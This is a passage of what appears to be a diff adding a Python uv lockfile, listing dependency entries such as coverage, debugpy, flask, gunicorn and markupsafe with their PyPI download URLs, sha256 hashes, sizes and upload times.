"https://files.pythonhosted.org/packages/56/b0/d968ecdbe6fe0a863de7169bbe9e8a476868959f3af24981f6a10d2b6924/coverage-7.8.0-cp313-cp313t-win32.whl", hash = "sha256:379fe315e206b14e21db5240f89dc0774bdd3e25c3c58c2c733c99eca96f1ada", size = 214909, upload-time = "2025-03-30T20:36:19.644Z" }, + { url = "https://files.pythonhosted.org/packages/87/e9/d6b7ef9fecf42dfb418d93544af47c940aa83056c49e6021a564aafbc91f/coverage-7.8.0-cp313-cp313t-win_amd64.whl", hash = "sha256:2e4b6b87bb0c846a9315e3ab4be2d52fac905100565f4b92f02c445c8799e257", size = 216068, upload-time = "2025-03-30T20:36:21.282Z" }, + { url = "https://files.pythonhosted.org/packages/59/f1/4da7717f0063a222db253e7121bd6a56f6fb1ba439dcc36659088793347c/coverage-7.8.0-py3-none-any.whl", hash = "sha256:dbf364b4c5e7bae9250528167dfe40219b62e2d573c854d74be213e1e52069f7", size = 203435, upload-time = "2025-03-30T20:36:43.61Z" }, +] + +[[package]] +name = "debugpy" +version = "1.8.14" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/bd/75/087fe07d40f490a78782ff3b0a30e3968936854105487decdb33446d4b0e/debugpy-1.8.14.tar.gz", hash = "sha256:7cd287184318416850aa8b60ac90105837bb1e59531898c07569d197d2ed5322", size = 1641444, upload-time = "2025-04-10T19:46:10.981Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/4d/e4/395c792b243f2367d84202dc33689aa3d910fb9826a7491ba20fc9e261f5/debugpy-1.8.14-cp313-cp313-macosx_14_0_universal2.whl", hash = "sha256:329a15d0660ee09fec6786acdb6e0443d595f64f5d096fc3e3ccf09a4259033f", size = 2485676, upload-time = "2025-04-10T19:46:32.96Z" }, + { url = "https://files.pythonhosted.org/packages/ba/f1/6f2ee3f991327ad9e4c2f8b82611a467052a0fb0e247390192580e89f7ff/debugpy-1.8.14-cp313-cp313-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0f920c7f9af409d90f5fd26e313e119d908b0dd2952c2393cd3247a462331f15", size = 4217514, upload-time = "2025-04-10T19:46:34.336Z" }, + { url = "https://files.pythonhosted.org/packages/79/28/b9d146f8f2dc535c236ee09ad3e5ac899adb39d7a19b49f03ac95d216beb/debugpy-1.8.14-cp313-cp313-win32.whl", hash = "sha256:3784ec6e8600c66cbdd4ca2726c72d8ca781e94bce2f396cc606d458146f8f4e", size = 5254756, upload-time = "2025-04-10T19:46:36.199Z" }, + { url = "https://files.pythonhosted.org/packages/e0/62/a7b4a57013eac4ccaef6977966e6bec5c63906dd25a86e35f155952e29a1/debugpy-1.8.14-cp313-cp313-win_amd64.whl", hash = "sha256:684eaf43c95a3ec39a96f1f5195a7ff3d4144e4a18d69bb66beeb1a6de605d6e", size = 5297119, upload-time = "2025-04-10T19:46:38.141Z" }, + { url = "https://files.pythonhosted.org/packages/97/1a/481f33c37ee3ac8040d3d51fc4c4e4e7e61cb08b8bc8971d6032acc2279f/debugpy-1.8.14-py2.py3-none-any.whl", hash = "sha256:5cd9a579d553b6cb9759a7908a41988ee6280b961f24f63336835d9418216a20", size = 5256230, upload-time = "2025-04-10T19:46:54.077Z" }, +] + +[[package]] +name = "defusedxml" +version = "0.7.1" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/0f/d5/c66da9b79e5bdb124974bfe172b4daf3c984ebd9c2a06e2b8a4dc7331c72/defusedxml-0.7.1.tar.gz", hash = "sha256:1bb3032db185915b62d7c6209c5a8792be6a32ab2fedacc84e01b52c51aa3e69", size = 75520, upload-time = "2021-03-08T10:59:26.269Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/07/6c/aa3f2f849e01cb6a001cd8554a88d4c77c5c1a31c95bdf1cf9301e6d9ef4/defusedxml-0.7.1-py2.py3-none-any.whl", hash = "sha256:a352e7e428770286cc899e2542b6cdaedb2b4953ff269a210103ec58f6198a61", size = 25604, upload-time = "2021-03-08T10:59:24.45Z" }, +] + +[[package]] +name = "dill" +version = "0.4.1" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/81/e1/56027a71e31b02ddc53c7d65b01e68edf64dea2932122fe7746a516f75d5/dill-0.4.1.tar.gz", hash = "sha256:423092df4182177d4d8ba8290c8a5b640c66ab35ec7da59ccfa00f6fa3eea5fa", size = 187315, upload-time = "2026-01-19T02:36:56.85Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/1e/77/dc8c558f7593132cf8fefec57c4f60c83b16941c574ac5f619abb3ae7933/dill-0.4.1-py3-none-any.whl", hash = "sha256:1e1ce33e978ae97fcfcff5638477032b801c46c7c65cf717f95fbc2248f79a9d", size = 120019, upload-time = "2026-01-19T02:36:55.663Z" }, +] + +[[package]] +name = "dnspython" +version = "2.8.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/8c/8b/57666417c0f90f08bcafa776861060426765fdb422eb10212086fb811d26/dnspython-2.8.0.tar.gz", hash = "sha256:181d3c6996452cb1189c4046c61599b84a5a86e099562ffde77d26984ff26d0f", size = 368251, upload-time = "2025-09-07T18:58:00.022Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/ba/5a/18ad964b0086c6e62e2e7500f7edc89e3faa45033c71c1893d34eed2b2de/dnspython-2.8.0-py3-none-any.whl", hash = "sha256:01d9bbc4a2d76bf0db7c1f729812ded6d912bd318d3b1cf81d30c0f845dbf3af", size = 331094, upload-time = "2025-09-07T18:57:58.071Z" }, +] + +[[package]] +name = "docker" +version = "7.1.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "pywin32", marker = "sys_platform == 'win32'" }, + { name = "requests" }, + { name = "urllib3" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/91/9b/4a2ea29aeba62471211598dac5d96825bb49348fa07e906ea930394a83ce/docker-7.1.0.tar.gz", hash = "sha256:ad8c70e6e3f8926cb8a92619b832b4ea5299e2831c14284663184e200546fa6c", size = 117834, upload-time = "2024-05-23T11:13:57.216Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/e3/26/57c6fb270950d476074c087527a558ccb6f4436657314bfb6cdf484114c4/docker-7.1.0-py3-none-any.whl", hash = "sha256:c96b93b7f0a746f9e77d325bcfb87422a3d8bd4f03136ae8a85b37f1898d5fc0", size = 147774, upload-time = "2024-05-23T11:13:55.01Z" }, +] + +[[package]] +name = "flake8" +version = "7.2.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "mccabe" }, + { name = "pycodestyle" }, + { name = "pyflakes" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/e7/c4/5842fc9fc94584c455543540af62fd9900faade32511fab650e9891ec225/flake8-7.2.0.tar.gz", hash = "sha256:fa558ae3f6f7dbf2b4f22663e5343b6b6023620461f8d4ff2019ef4b5ee70426", size = 48177, upload-time = "2025-03-29T20:08:39.329Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/83/5c/0627be4c9976d56b1217cb5187b7504e7fd7d3503f8bfd312a04077bd4f7/flake8-7.2.0-py2.py3-none-any.whl", hash = "sha256:93b92ba5bdb60754a6da14fa3b93a9361fd00a59632ada61fd7b130436c40343", size = 57786, upload-time = "2025-03-29T20:08:37.902Z" }, +] + +[[package]] +name = "flake8-html" +version = "0.4.3" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "flake8" }, + { name = "jinja2" }, + { name = "pygments" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/3e/44/faae17d4b4e00c8c041e9b90b0ea546f3aef8b799212e71a7bb835ff51e1/flake8-html-0.4.3.tar.gz", hash = "sha256:8b870299620cc4a06f73644a1b4d457799abeca1cc914c62ae71ec5bf65c79a5", size = 13670, upload-time = "2022-12-06T19:06:20.505Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/c3/b0/bfd58118e2b9c1d0c5ac156c458c9a33cb599925b658df3ab038b55d30d7/flake8_html-0.4.3-py2.py3-none-any.whl", hash = "sha256:8f126748b1b0edd6cd39e87c6192df56e2f8655b0aa2bb00ffeac8cf27be4325", size = 13120, upload-time = "2022-12-06T19:06:18.917Z" }, +] + +[[package]] +name = "flask" +version = "3.1.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "blinker" }, + { name = "click" }, + { name = "itsdangerous" }, + { name = "jinja2" }, + { name = "markupsafe" }, + { name = "werkzeug" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/c0/de/e47735752347f4128bcf354e0da07ef311a78244eba9e3dc1d4a5ab21a98/flask-3.1.1.tar.gz", hash = "sha256:284c7b8f2f58cb737f0cf1c30fd7eaf0ccfcde196099d24ecede3fc2005aa59e", size = 753440, upload-time = "2025-05-13T15:01:17.447Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/3d/68/9d4508e893976286d2ead7f8f571314af6c2037af34853a30fd769c02e9d/flask-3.1.1-py3-none-any.whl", hash = "sha256:07aae2bb5eaf77993ef57e357491839f5fd9f4dc281593a81a9e4d79a24f295c", size = 103305, upload-time = "2025-05-13T15:01:15.591Z" }, +] + +[[package]] +name = "flask-sock" +version = "0.7.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "flask" }, + { name = "simple-websocket" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/8d/8f/c6ab717dc90f4e46d1430335cd4ab13e3629410bb760c0ead6de476760fb/flask-sock-0.7.0.tar.gz", hash = "sha256:e023b578284195a443b8d8bdb4469e6a6acf694b89aeb51315b1a34fcf427b7d", size = 4334, upload-time = "2023-10-02T22:32:42.973Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/d8/98/107728ce3f430b5481eb426ccc5e1f7c8ab0bd01eaf231c62a8d528ff721/flask_sock-0.7.0-py3-none-any.whl", hash = "sha256:caac4d679392aaf010d02fabcf73d52019f5bdaf1c9c131ec5a428cb3491204a", size = 3982, upload-time = "2023-10-02T22:32:41.778Z" }, +] + +[[package]] +name = "flatten-dict" +version = "0.4.2" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "six" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/89/c6/5fe21639369f2ea609c964e20870b5c6c98a134ef12af848a7776ddbabe3/flatten-dict-0.4.2.tar.gz", hash = "sha256:506a96b6e6f805b81ae46a0f9f31290beb5fa79ded9d80dbe1b7fa236ab43076", size = 10362, upload-time = "2021-08-08T09:56:51.455Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/43/f5/ee39c6e92acc742c052f137b47c210cd0a1b72dcd3f98495528bb4d27761/flatten_dict-0.4.2-py2.py3-none-any.whl", hash = "sha256:7e245b20c4c718981212210eec4284a330c9f713e632e98765560e05421e48ad", size = 9656, upload-time = "2021-08-08T09:56:54.313Z" }, +] + +[[package]] +name = "genbadge" +version = "1.1.3" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "click" }, + { name = "pillow" }, + { name = "requests" }, + { name = "setuptools" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/88/08/686a720bd9f407a2b689c50a94e53b2d26f6ddc6f921ae45ec15c401ee67/genbadge-1.1.3.tar.gz", hash = "sha256:2292ea9cc20af4463dfde952c6b15544fdab9d6e50945f63a42cc400c521fa74", size = 138264, upload-time = "2025-11-24T14:55:01.342Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/40/cc/e67b1fe7a9d76a316e9149855a953c37c463caf1e351b1a0abf7f2fb9e38/genbadge-1.1.3-py2.py3-none-any.whl", hash = "sha256:6e4316c171c6f0f84becae4eb116258340bdc054458632abc622d36b8040655e", size = 101262, upload-time = "2025-11-24T14:54:59.925Z" }, +] + +[package.optional-dependencies] +all = [ + { name = "defusedxml" }, + { name = "flake8-html" }, +] + +[[package]] +name = "gunicorn" +version = "23.0.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "packaging" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/34/72/9614c465dc206155d93eff0ca20d42e1e35afc533971379482de953521a4/gunicorn-23.0.0.tar.gz", hash = "sha256:f014447a0101dc57e294f6c18ca6b40227a4c90e9bdb586042628030cba004ec", size = 375031, upload-time = "2024-08-10T20:25:27.378Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/cb/7d/6dac2a6e1eba33ee43f318edbed4ff29151a49b5d37f080aad1e6469bca4/gunicorn-23.0.0-py3-none-any.whl", hash = "sha256:ec400d38950de4dfd418cff8328b2c8faed0edb0d517d3394e457c317908ca4d", size = 85029, upload-time = "2024-08-10T20:25:24.996Z" }, +] + +[[package]] +name = "h11" +version = "0.16.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/01/ee/02a2c011bdab74c6fb3c75474d40b3052059d95df7e73351460c8588d963/h11-0.16.0.tar.gz", hash = "sha256:4e35b956cf45792e4caa5885e69fba00bdbc6ffafbfa020300e549b208ee5ff1", size = 101250, upload-time = "2025-04-24T03:35:25.427Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/04/4b/29cac41a4d98d144bf5f6d33995617b185d14b22401f75ca86f384e87ff1/h11-0.16.0-py3-none-any.whl", hash = "sha256:63cf8bbe7522de3bf65932fda1d9c2772064ffb3dae62d55932da54b31cb6c86", size = 37515, upload-time = "2025-04-24T03:35:24.344Z" }, +] + +[[package]] +name = "idna" +version = "3.11" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/6f/6d/0703ccc57f3a7233505399edb88de3cbd678da106337b9fcde432b65ed60/idna-3.11.tar.gz", hash = "sha256:795dafcc9c04ed0c1fb032c2aa73654d8e8c5023a7df64a53f39190ada629902", size = 194582, upload-time = "2025-10-12T14:55:20.501Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/0e/61/66938bbb5fc52dbdf84594873d5b51fb1f7c7794e9c0f5bd885f30bc507b/idna-3.11-py3-none-any.whl", hash = "sha256:771a87f49d9defaf64091e6e6fe9c18d4833f140bd19464795bc32d966ca37ea", size = 71008, upload-time = "2025-10-12T14:55:18.883Z" }, +] + +[[package]] +name = "iniconfig" +version = "2.3.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/72/34/14ca021ce8e5dfedc35312d08ba8bf51fdd999c576889fc2c24cb97f4f10/iniconfig-2.3.0.tar.gz", hash = "sha256:c76315c77db068650d49c5b56314774a7804df16fee4402c1f19d6d15d8c4730", size = 20503, upload-time = "2025-10-18T21:55:43.219Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/cb/b1/3846dd7f199d53cb17f49cba7e651e9ce294d8497c8c150530ed11865bb8/iniconfig-2.3.0-py3-none-any.whl", hash = "sha256:f631c04d2c48c52b84d0d0549c99ff3859c98df65b3101406327ecc7d53fbf12", size = 7484, upload-time = "2025-10-18T21:55:41.639Z" }, +] + +[[package]] +name = "isort" +version = "6.1.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/1e/82/fa43935523efdfcce6abbae9da7f372b627b27142c3419fcf13bf5b0c397/isort-6.1.0.tar.gz", hash = "sha256:9b8f96a14cfee0677e78e941ff62f03769a06d412aabb9e2a90487b3b7e8d481", size = 824325, upload-time = "2025-10-01T16:26:45.027Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/7f/cc/9b681a170efab4868a032631dea1e8446d8ec718a7f657b94d49d1a12643/isort-6.1.0-py3-none-any.whl", hash = "sha256:58d8927ecce74e5087aef019f778d4081a3b6c98f15a80ba35782ca8a2097784", size = 94329, upload-time = "2025-10-01T16:26:43.291Z" }, +] + +[[package]] +name = "itsdangerous" +version = "2.2.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/9c/cb/8ac0172223afbccb63986cc25049b154ecfb5e85932587206f42317be31d/itsdangerous-2.2.0.tar.gz", hash = "sha256:e0050c0b7da1eea53ffaf149c0cfbb5c6e2e2b69c4bef22c81fa6eb73e5f6173", size = 54410, upload-time = "2024-04-16T21:28:15.614Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/04/96/92447566d16df59b2a776c0fb82dbc4d9e07cd95062562af01e408583fc4/itsdangerous-2.2.0-py3-none-any.whl", hash = "sha256:c6242fc49e35958c8b15141343aa660db5fc54d4f13a1db01a3f5891b98700ef", size = 16234, upload-time = "2024-04-16T21:28:14.499Z" }, +] + +[[package]] +name = "jinja2" +version = "3.1.6" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "markupsafe" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/df/bf/f7da0350254c0ed7c72f3e33cef02e048281fec7ecec5f032d4aac52226b/jinja2-3.1.6.tar.gz", hash = "sha256:0137fb05990d35f1275a587e9aee6d56da821fc83491a0fb838183be43f66d6d", size = 245115, upload-time = "2025-03-05T20:05:02.478Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/62/a1/3d680cbfd5f4b8f15abc1d571870c5fc3e594bb582bc3b64ea099db13e56/jinja2-3.1.6-py3-none-any.whl", hash = "sha256:85ece4451f492d0c13c5dd7c13a64681a86afae63a5f347908daf103ce6d2f67", size = 134899, upload-time = "2025-03-05T20:05:00.369Z" }, +] + +[[package]] +name = "markdown-it-py" +version = "4.0.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "mdurl" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/5b/f5/4ec618ed16cc4f8fb3b701563655a69816155e79e24a17b651541804721d/markdown_it_py-4.0.0.tar.gz", hash = "sha256:cb0a2b4aa34f932c007117b194e945bd74e0ec24133ceb5bac59009cda1cb9f3", size = 73070, upload-time = "2025-08-11T12:57:52.854Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/94/54/e7d793b573f298e1c9013b8c4dade17d481164aa517d1d7148619c2cedbf/markdown_it_py-4.0.0-py3-none-any.whl", hash = "sha256:87327c59b172c5011896038353a81343b6754500a08cd7a4973bb48c6d578147", size = 87321, upload-time = "2025-08-11T12:57:51.923Z" }, +] + +[[package]] +name = "markupsafe" +version = "3.0.3" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/7e/99/7690b6d4034fffd95959cbe0c02de8deb3098cc577c67bb6a24fe5d7caa7/markupsafe-3.0.3.tar.gz", hash = "sha256:722695808f4b6457b320fdc131280796bdceb04ab50fe1795cd540799ebe1698", size = 80313, upload-time = "2025-09-27T18:37:40.426Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/38/2f/907b9c7bbba283e68f20259574b13d005c121a0fa4c175f9bed27c4597ff/markupsafe-3.0.3-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:e1cf1972137e83c5d4c136c43ced9ac51d0e124706ee1c8aa8532c1287fa8795", size = 11622, upload-time = "2025-09-27T18:36:41.777Z" }, + { url = "https://files.pythonhosted.org/packages/9c/d9/5f7756922cdd676869eca1c4e3c0cd0df60ed30199ffd775e319089cb3ed/markupsafe-3.0.3-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:116bb52f642a37c115f517494ea5feb03889e04df47eeff5b130b1808ce7c219", size = 12029, upload-time = "2025-09-27T18:36:43.257Z" }, + { url = "https://files.pythonhosted.org/packages/00/07/575a68c754943058c78f30db02ee03a64b3c638586fba6a6dd56830b30a3/markupsafe-3.0.3-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:133a43e73a802c5562be9bbcd03d090aa5a1fe899db609c29e8c8d815c5f6de6", size = 24374, upload-time = "2025-09-27T18:36:44.508Z" }, + { url = "https://files.pythonhosted.org/packages/a9/21/9b05698b46f218fc0e118e1f8168395c65c8a2c750ae2bab54fc4bd4e0e8/markupsafe-3.0.3-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:ccfcd093f13f0f0b7fdd0f198b90053bf7b2f02a3927a30e63f3ccc9df56b676", size = 22980, upload-time = "2025-09-27T18:36:45.385Z" }, + { url = "https://files.pythonhosted.org/packages/7f/71/544260864f893f18b6827315b988c146b559391e6e7e8f7252839b1b846a/markupsafe-3.0.3-cp313-cp313-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:509fa21c6deb7a7a273d629cf5ec029bc209d1a51178615ddf718f5918992ab9", size = 21990, upload-time = "2025-09-27T18:36:46.916Z" }, + { url = "https://files.pythonhosted.org/packages/c2/28/b50fc2f74d1ad761af2f5dcce7492648b983d00a65b8c0e0cb457c82ebbe/markupsafe-3.0.3-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:a4afe79fb3de0b7097d81da19090f4df4f8d3a2b3adaa8764138aac2e44f3af1", size = 23784, upload-time = "2025-09-27T18:36:47.884Z" }, + { url = "https://files.pythonhosted.org/packages/ed/76/104b2aa106a208da8b17a2fb72e033a5a9d7073c68f7e508b94916ed47a9/markupsafe-3.0.3-cp313-cp313-musllinux_1_2_riscv64.whl", hash = "sha256:795e7751525cae078558e679d646ae45574b47ed6e7771863fcc079a6171a0fc", size = 21588, upload-time = "2025-09-27T18:36:48.82Z" }, + { url = "https://files.pythonhosted.org/packages/b5/99/16a5eb2d140087ebd97180d95249b00a03aa87e29cc224056274f2e45fd6/markupsafe-3.0.3-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:8485f406a96febb5140bfeca44a73e3ce5116b2501ac54fe953e488fb1d03b12", size = 23041, upload-time = "2025-09-27T18:36:49.797Z" }, + { url = "https://files.pythonhosted.org/packages/19/bc/e7140ed90c5d61d77cea142eed9f9c303f4c4806f60a1044c13e3f1471d0/markupsafe-3.0.3-cp313-cp313-win32.whl", hash = "sha256:bdd37121970bfd8be76c5fb069c7751683bdf373db1ed6c010162b2a130248ed", size = 14543, upload-time = "2025-09-27T18:36:51.584Z" }, + { url = "https://files.pythonhosted.org/packages/05/73/c4abe620b841b6b791f2edc248f556900667a5a1cf023a6646967ae98335/markupsafe-3.0.3-cp313-cp313-win_amd64.whl", hash = "sha256:9a1abfdc021a164803f4d485104931fb8f8c1efd55bc6b748d2f5774e78b62c5", size = 15113, upload-time = "2025-09-27T18:36:52.537Z" }, + { url = "https://files.pythonhosted.org/packages/f0/3a/fa34a0f7cfef23cf9500d68cb7c32dd64ffd58a12b09225fb03dd37d5b80/markupsafe-3.0.3-cp313-cp313-win_arm64.whl", hash = "sha256:7e68f88e5b8799aa49c85cd116c932a1ac15caaa3f5db09087854d218359e485", size = 13911, upload-time = "2025-09-27T18:36:53.513Z" }, + { url = "https://files.pythonhosted.org/packages/e4/d7/e05cd7efe43a88a17a37b3ae96e79a19e846f3f456fe79c57ca61356ef01/markupsafe-3.0.3-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:218551f6df4868a8d527e3062d0fb968682fe92054e89978594c28e642c43a73", size = 11658, upload-time = "2025-09-27T18:36:54.819Z" }, + { url = "https://files.pythonhosted.org/packages/99/9e/e412117548182ce2148bdeacdda3bb494260c0b0184360fe0d56389b523b/markupsafe-3.0.3-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:3524b778fe5cfb3452a09d31e7b5adefeea8c5be1d43c4f810ba09f2ceb29d37", size = 12066, upload-time = "2025-09-27T18:36:55.714Z" }, + { url = "https://files.pythonhosted.org/packages/bc/e6/fa0ffcda717ef64a5108eaa7b4f5ed28d56122c9a6d70ab8b72f9f715c80/markupsafe-3.0.3-cp313-cp313t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:4e885a3d1efa2eadc93c894a21770e4bc67899e3543680313b09f139e149ab19", size = 25639, upload-time = "2025-09-27T18:36:56.908Z" }, + { url = "https://files.pythonhosted.org/packages/96/ec/2102e881fe9d25fc16cb4b25d5f5cde50970967ffa5dddafdb771237062d/markupsafe-3.0.3-cp313-cp313t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:8709b08f4a89aa7586de0aadc8da56180242ee0ada3999749b183aa23df95025", size = 23569, upload-time = "2025-09-27T18:36:57.913Z" }, + { url = "https://files.pythonhosted.org/packages/4b/30/6f2fce1f1f205fc9323255b216ca8a235b15860c34b6798f810f05828e32/markupsafe-3.0.3-cp313-cp313t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:b8512a91625c9b3da6f127803b166b629725e68af71f8184ae7e7d54686a56d6", size = 23284, upload-time = "2025-09-27T18:36:58.833Z" }, + { url = "https://files.pythonhosted.org/packages/58/47/4a0ccea4ab9f5dcb6f79c0236d954acb382202721e704223a8aafa38b5c8/markupsafe-3.0.3-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:9b79b7a16f7fedff2495d684f2b59b0457c3b493778c9eed31111be64d58279f", size = 24801, upload-time = "2025-09-27T18:36:59.739Z" }, + { url = "https://files.pythonhosted.org/packages/6a/70/3780e9b72180b6fecb83a4814d84c3bf4b4ae4bf0b19c27196104149734c/markupsafe-3.0.3-cp313-cp313t-musllinux_1_2_riscv64.whl", hash = "sha256:12c63dfb4a98206f045aa9563db46507995f7ef6d83b2f68eda65c307c6829eb", size = 22769, upload-time = "2025-09-27T18:37:00.719Z" }, + { url = "https://files.pythonhosted.org/packages/98/c5/c03c7f4125180fc215220c035beac6b9cb684bc7a067c84fc69414d315f5/markupsafe-3.0.3-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:8f71bc33915be5186016f675cd83a1e08523649b0e33efdb898db577ef5bb009", size = 23642, upload-time = "2025-09-27T18:37:01.673Z" }, + { url = "https://files.pythonhosted.org/packages/80/d6/2d1b89f6ca4bff1036499b1e29a1d02d282259f3681540e16563f27ebc23/markupsafe-3.0.3-cp313-cp313t-win32.whl", hash = "sha256:69c0b73548bc525c8cb9a251cddf1931d1db4d2258e9599c28c07ef3580ef354", size = 14612, upload-time = "2025-09-27T18:37:02.639Z" }, + { url = "https://files.pythonhosted.org/packages/2b/98/e48a4bfba0a0ffcf9925fe2d69240bfaa19c6f7507b8cd09c70684a53c1e/markupsafe-3.0.3-cp313-cp313t-win_amd64.whl", hash = "sha256:1b4b79e8ebf6b55351f0d91fe80f893b4743f104bff22e90697db1590e47a218", size = 15200, upload-time = "2025-09-27T18:37:03.582Z" }, + { url = "https://files.pythonhosted.org/packages/0e/72/e3cc540f351f316e9ed0f092757459afbc595824ca724cbc5a5d4263713f/markupsafe-3.0.3-cp313-cp313t-win_arm64.whl", hash = "sha256:ad2cf8aa28b8c020ab2fc8287b0f823d0a7d8630784c31e9ee5edea20f406287", size = 13973, upload-time = "2025-09-27T18:37:04.929Z" }, + { url = "https://files.pythonhosted.org/packages/33/8a/8e42d4838cd89b7dde187011e97fe6c3af66d8c044997d2183fbd6d31352/markupsafe-3.0.3-cp314-cp314-macosx_10_13_x86_64.whl", hash = "sha256:eaa9599de571d72e2daf60164784109f19978b327a3910d3e9de8c97b5b70cfe", size = 11619, upload-time = "2025-09-27T18:37:06.342Z" }, + { url = "https://files.pythonhosted.org/packages/b5/64/7660f8a4a8e53c924d0fa05dc3a55c9cee10bbd82b11c5afb27d44b096ce/markupsafe-3.0.3-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:c47a551199eb8eb2121d4f0f15ae0f923d31350ab9280078d1e5f12b249e0026", size = 12029, upload-time = "2025-09-27T18:37:07.213Z" }, + { url = "https://files.pythonhosted.org/packages/da/ef/e648bfd021127bef5fa12e1720ffed0c6cbb8310c8d9bea7266337ff06de/markupsafe-3.0.3-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:f34c41761022dd093b4b6896d4810782ffbabe30f2d443ff5f083e0cbbb8c737", size = 24408, upload-time = "2025-09-27T18:37:09.572Z" }, + { url = "https://files.pythonhosted.org/packages/41/3c/a36c2450754618e62008bf7435ccb0f88053e07592e6028a34776213d877/markupsafe-3.0.3-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:457a69a9577064c05a97c41f4e65148652db078a3a509039e64d3467b9e7ef97", size = 23005, upload-time = "2025-09-27T18:37:10.58Z" }, + { url = "https://files.pythonhosted.org/packages/bc/20/b7fdf89a8456b099837cd1dc21974632a02a999ec9bf7ca3e490aacd98e7/markupsafe-3.0.3-cp314-cp314-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:e8afc3f2ccfa24215f8cb28dcf43f0113ac3c37c2f0f0806d8c70e4228c5cf4d", size = 22048, upload-time = "2025-09-27T18:37:11.547Z" }, + { url = "https://files.pythonhosted.org/packages/9a/a7/591f592afdc734f47db08a75793a55d7fbcc6902a723ae4cfbab61010cc5/markupsafe-3.0.3-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:ec15a59cf5af7be74194f7ab02d0f59a62bdcf1a537677ce67a2537c9b87fcda", size = 23821, upload-time = "2025-09-27T18:37:12.48Z" }, + { url = "https://files.pythonhosted.org/packages/7d/33/45b24e4f44195b26521bc6f1a82197118f74df348556594bd2262bda1038/markupsafe-3.0.3-cp314-cp314-musllinux_1_2_riscv64.whl", hash = "sha256:0eb9ff8191e8498cca014656ae6b8d61f39da5f95b488805da4bb029cccbfbaf", size = 21606, upload-time = "2025-09-27T18:37:13.485Z" }, + { url = 